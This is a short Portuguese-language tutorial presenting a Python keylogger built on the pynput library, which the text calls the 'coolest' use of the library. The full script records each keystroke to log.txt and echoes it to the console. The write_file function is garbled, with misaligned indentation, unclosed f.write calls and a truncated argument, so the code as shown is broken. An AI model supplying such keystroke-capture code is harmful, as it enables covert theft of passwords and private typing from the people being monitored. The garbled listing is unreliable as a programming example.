Pré-requisitos: linguagem de programação Python

O pacote pynput.keyboard contém classes para controlar e monitorar o teclado. pynput é a biblioteca do Python que pode ser usada para capturar entradas do teclado, e o uso mais legal disso pode estar na criação de keyloggers. O código para o keylooger é fornecido abaixo.

Módulos necessários

pynput: Para instalar o pynput digite o comando abaixo no terminal.

 pip install pynput 

Abaixo está a implementação:

   
import pynput 
from pynput.keyboard import Key, Listener 
   
keys = [] 
   
def on_press(key): 
      
    keys.append(key) 
    write_file(keys) 
      
    try: 
        print('alphanumeric key {0} pressed'.format(key.char)) 
          
    except AttributeError: 
        print('special key {0} pressed'.format(key)) 
           
def write_file(keys): 
      
    with open('log.txt', 'w') as f: 
        for key in keys: 
                  k = str(key).replace("'", "") 
            f.write(k 
                            f.write(' '
               
def on_release(key): 
                      
    print('{0} released'.format(key)) 
    if key == Key.esc: 
      return False
   
   
with Listener(on_press = on_press, 
              on_release = on_release) as listener: 
                      
    listener.join() 

Resultado:



python-keylogger-pyinput